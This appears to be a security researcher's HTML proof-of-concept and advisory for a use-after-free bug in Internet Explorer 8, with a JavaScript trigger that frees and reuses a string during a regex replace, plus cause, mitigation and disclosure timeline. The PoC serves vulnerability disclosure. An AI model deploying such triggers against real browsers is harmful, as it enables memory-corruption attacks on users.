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<!-- Source: http://blog.skylined.nl/20161116001.html Synopsis A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression. Known affected software, attack vectors and mitigations Microsoft Internet Explorer 8 An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path. --> <!DOCTYPE html> <html> <script> // This PoC attempts to exploit a use-after-free bug in Microsoft Internet // Explorer 8. // See http://blog.skylined.nl/20161116001.html for details. var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g"); "A".replace(r, function (){ // Force OLEAUT32 to free the string for (var j = 0; j < 16; j++) new Array(0x1000).join("B"); // Reuse the freed memory r.compile(); }); // This work by SkyLined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script> </html> <!-- Description Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation. Exploit Exploitation was not investigated. Time-line March 2015: This vulnerability was found through fuzzing. March 2015: This vulnerability was submitted to ZDI. April 2015: This vulnerability was acquired by ZDI. October 2015: Microsoft addressed this issue in MS15-018. November 2016: Details of this issue are released. --> |
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